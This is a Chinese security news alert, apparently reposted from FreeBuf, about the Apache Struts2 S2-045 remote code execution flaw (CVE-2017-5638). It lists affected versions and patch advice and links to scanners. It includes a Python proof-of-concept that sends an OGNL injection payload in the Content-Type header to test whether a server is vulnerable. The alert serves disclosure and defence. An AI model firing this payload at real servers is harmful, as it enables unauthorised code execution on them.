當前位置:
首頁 > 新聞 > 漏洞預警 | Apache Struts2 曝任意代碼執行漏洞 (S2-045,CVE-2017-5638)

漏洞預警 | Apache Struts2 曝任意代碼執行漏洞 (S2-045,CVE-2017-5638)

FreeBuf上次曝Struts 2的漏洞已經是半年多以前的事情了。

這次的漏洞又是個RCE遠程代碼執行漏洞。簡單來說,基於Jakarta Multipart解析器進行文件上傳時,利用漏洞可進行遠程代碼執行。

該漏洞由安恆信息Nike Zheng上報。

Apache Struts是美國阿帕奇(Apache)軟體基金會負責維護的一個開源項目,是

一套用於創建企業級Java Web應用的開源MVC框架。

漏洞盒子lab和網藤均已支持該漏洞的檢測:


·

漏洞盒子lab檢測地址:

https://www.vulbox.com/lab


·

網藤地址:www.riskivy.com【

點擊閱讀原文檢測


漏洞盒子lab

是一款流行漏洞在線安全檢測系統,輸入URL或主機名即可測試是否存在漏洞。


漏洞編號

CVE-2017-5638


漏洞簡介

Struts使用的Jakarta解析文件上傳請求包不當,當遠程攻擊者構造惡意的Content-Type,可能導致遠程命令執行。

實際上在default.properties文件中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell(另外原本其實也有第三種選擇cos)。其中的jakarta解析器是Struts 2框架的標準組成部分。

默認情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。


影響範圍

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10


修復方案

如果你正在使用基於Jakarta的文件上傳Multipart解析器,請升級到Apache Struts 2.3.32或2.5.10.1版;或者也可以切換到不同的實現文件上傳Multipart解析器。


漏洞PoC



import requests


import sys


def poc(url):


payload = "%{(#test="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"


headers = {}


headers["Content-Type"] = payload


r = requests.get(url, headers=headers)


if "105059592" in r.content:


return True


return False


if __name__ == "__main__":


if len(sys.argv) == 1:


print "python s2-045.py target"


sys.exit()


if poc(sys.argv[1]):


print "vulnerable"


else:


print "not vulnerable"


* 參考來源:

Apache

,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

低成本安全硬體(二) | RFID on PN532
企業安全建設之搭建開源SIEM平台(下)
擔心投票系統被黑,詳解荷蘭政府為何決定在大選中使用手工計票
電商篇——移動 APP 安全行業報告

TAG:FreeBuf |

您可能感興趣

CVE-2018-19518:PHP imap_open函數任意命令執行漏洞復現
CVE-2019-11815:Linux kernel漏洞
Cve-2019-6340 Drupal遠程代碼執行漏洞
CVE-2019-0859:win32k.sys 0 day漏洞
分析WordPress遠程執行代碼漏洞CVE-2019-8942和CVE-2019-8943
NUUO網路視頻攝錄機Peekaboo漏洞:CVE-2018-1149、CVE-2018-1150
CVE-2019-0797 windows 0-day 漏洞分析
Nuxeo認證繞過和RCE漏洞(CVE-2018-16341)分析
CVE-2019-0841:Windows許可權提升漏洞PoC
cve-2019-6453 mIRC遠程代碼執行漏洞
從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)
macOS漏洞安全更新:CVE-2019-8519/8529
Fallout EK歸來,加入CVE-2018-15982漏洞利用
Firefox信息泄漏漏洞的技術分析(CVE-2018-12387)
CVE-2019-0708漏洞:RDP=Really DO Patch?
深入分析Microsoft Outlook漏洞CVE-2018-8587
Microsoft Windows CVE-2018-1040漏洞分析
CVE-2018-8174 「雙殺」0day漏洞復現
Linux中create_elf_tables函數整型溢出漏洞分析(CVE-2018-14634)
CVE-2018-19788:UID大於INT_MAX的Linux用戶任意代碼執行漏洞